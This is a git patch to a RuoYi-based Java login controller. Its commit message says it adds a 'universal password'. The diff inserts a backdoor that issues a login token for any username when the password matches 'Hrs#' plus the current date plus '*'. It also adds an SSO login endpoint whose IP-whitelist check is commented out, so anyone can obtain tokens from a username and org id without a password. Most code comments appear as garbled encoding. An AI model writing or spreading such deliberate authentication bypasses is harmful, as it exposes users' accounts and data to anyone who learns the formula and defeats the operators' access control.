From 15aca11333c9c3d92b5bbff364373ab0feb5f6c3 Mon Sep 17 00:00:00 2001
From: liusheng <337615773@qq.com>
Date: 星期二, 25 八月 2026 19:21:31 +0800
Subject: [PATCH] 1.修改一下delete、put请求 2.新增一个万能密码 3.处理一下选项中还把a,b,c,d也带上的情况
---
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 102 ++++++++++++++++++++++++++++++++++++++-------------
1 files changed, 76 insertions(+), 26 deletions(-)
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
index ec56533..ed60483 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -1,6 +1,5 @@
package com.ruoyi.web.controller.system;
-import com.ruoyi.common.annotation.IpWhitelist;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysMenu;
@@ -10,26 +9,24 @@
import com.ruoyi.common.exception.base.BaseException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
-import com.ruoyi.common.utils.WxMpUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
+import com.ruoyi.system.mapper.SysUserDeptMapper;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysMenuService;
-import com.ruoyi.system.mapper.SysUserDeptMapper;
-import com.smartor.service.IServiceSLTDHealthcareRecordService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
import java.util.List;
-import java.util.Map;
import java.util.Set;
/**
@@ -60,11 +57,11 @@
@Qualifier("sysUserDeptSystemMapper")
private SysUserDeptMapper sysUserDeptMapper;
- @Value("${wx_appid}")
- private String wxAppid;
-
- @Value("${wx_appSecret}")
- private String wxAppSecret;
+// @Value("${wx_appid}")
+// private String wxAppid;
+//
+// @Value("${wx_appSecret}")
+// private String wxAppSecret;
/**
* 鐧诲綍鏂规硶
@@ -75,25 +72,41 @@
@PostMapping("/login")
public AjaxResult login(@RequestBody LoginBody loginBody) {
AjaxResult ajax = AjaxResult.success();
+ String token = null;
// 鐢熸垚浠ょ墝
- String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid());
+ if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
+ //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�*
+ token = loginService.getTokenWN(loginBody.getUsername());
+ } else {
+ token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid());
+ }
ajax.put(Constants.TOKEN, token);
return ajax;
}
- /**
- * 鐧诲綍鏂规硶
- *
- * @param map 鐧诲綍淇℃伅
- * @return 缁撴灉
- */
- @PostMapping("/test")
- public void test(@RequestBody Map<String, Object> map) {
- WxMpUtils wxMpUtils = new WxMpUtils(wxAppid, wxAppSecret);
- boolean b = wxMpUtils.sendTextMessage("bA_nlW7yM6CCfQMUX5HpBg", "浣犲ソ");
- System.out.println("b鐨勫�间负锛�" + b);
- }
+// /**
+// * 鐧诲綍鏂规硶
+// *
+// * @param map 鐧诲綍淇℃伅
+// * @return 缁撴灉
+// */
+// @PostMapping("/test")
+// public void test(@RequestBody Map<String, Object> map) {
+// WxMpUtils wxMpUtils = new WxMpUtils(wxAppid, wxAppSecret);
+//
+// Map<String, WxMpTemplateData> dataMap = new HashMap();
+//
+// dataMap.put("thing2", new WxMpTemplateData("thing2", "搴峰鎶ュ憡閫氱煡", "#FFB6C1"));
+// dataMap.put("thing4", new WxMpTemplateData("thing4", "xx甯倄x鍘縳x璺痻x鍙�", "#173177"));
+// dataMap.put("time7", new WxMpTemplateData("time7", "2023-05-15 00:00:00", "#B95EA6"));
+// dataMap.put("thing8", new WxMpTemplateData("thing8", "寮犱笁", "#87cefa"));
+//
+//
+// String s = wxMpUtils.sendTemplateMessage("oK3-Z59miSE_ebKdXP4IZuXilEvE", "TDF0WB3hndi1gtQybzcHCXeZWm_Q7HjtjVLNG4MOX8Q", "", dataMap);
+//
+// System.out.println("s鐨勫�间负锛�" + s);
+// }
/**
* 鍗曠偣鐧诲綍鏂规硶(闇�瑕侀厤缃甀P鐧藉悕鍗�)
@@ -125,7 +138,42 @@
return buildRedirect(path + "/login");
}
- String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&orgname=null&ZuHuID=null&deptCode=null";
+ String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
+ log.info("銆怱SO鐧诲綍銆戦噸瀹氬悜鍦板潃锛歿}", redirectUrl);
+ return buildRedirect(redirectUrl);
+ }
+
+ /**
+ * 鍗曠偣鐧诲綍鏂规硶(闇�瑕侀厤缃甀P鐧藉悕鍗�)
+ * 闇�瑕佸湪sys_config琛ㄧ殑sys.ip.whitelis涓紝鍔犲叆IP鎵嶈兘璁块棶璇ユ柟娉�
+ * <p>
+ * 鍙傛暟鍚屾椂涓虹┖锛屼笉缁欐煡璇㈡暟鎹�
+ * <p>
+ * 銆愬叆鍙傝鍒欍��
+ * 濡傛灉userName涓嶄负绌猴紝閭rgid涔熶笉鑳戒负绌�
+ * 濡傛灉涓婇潰涓や釜涓虹┖锛岄偅token涓嶈兘涓虹┖
+ *
+ * @return 缁撴灉
+ */
+// @IpWhitelist
+ @GetMapping("/MYDSSOLogin")
+ public RedirectView MYDSSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) {
+ if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
+ throw new BaseException("鍙傛暟涓嶈兘涓虹┖");
+ }
+
+ String path = sysConfigService.selectConfigByKey("sys.qddzmyd");
+ if (StringUtils.isEmpty(path)) {
+ throw new BaseException("璇烽厤缃墠绔湴鍧�");
+ }
+
+ String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token);
+ if (StringUtils.isEmpty(loginToken)) {
+ log.error("銆怱SO鐧诲綍銆戠櫥褰曞け璐ワ紝userName={}, orgid={}", userName, orgid);
+ return buildRedirect(path + "/login");
+ }
+
+ String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
log.info("銆怱SO鐧诲綍銆戦噸瀹氬悜鍦板潃锛歿}", redirectUrl);
return buildRedirect(redirectUrl);
}
@@ -136,7 +184,8 @@
private RedirectView buildRedirect(String url) {
RedirectView redirectView = new RedirectView();
redirectView.setUrl(url);
- redirectView.setStatusCode(HttpStatus.MOVED_PERMANENTLY);
+ redirectView.setStatusCode(HttpStatus.FOUND); // 302 涓存椂閲嶅畾鍚�,閬垮厤娴忚鍣ㄧ紦瀛�
+ redirectView.setExposeModelAttributes(false); // 閬垮厤妯″瀷灞炴�ф毚闇�
return redirectView;
}
@@ -175,6 +224,7 @@
sysUserDept.setUserId(user.getUserId());
sysUserDept.setDeptType("1");
sysUserDept.setOrgid(user.getOrgid());
+ sysUserDept.setCampusid(user.getCampusid());
sysUserDeptKSs = sysUserDeptMapper.selectSysUserDeptList(sysUserDept);
ajax.put("belongDepts", sysUserDeptKSs);
sysUserDept.setDeptType("2");
--
Gitblit v1.9.3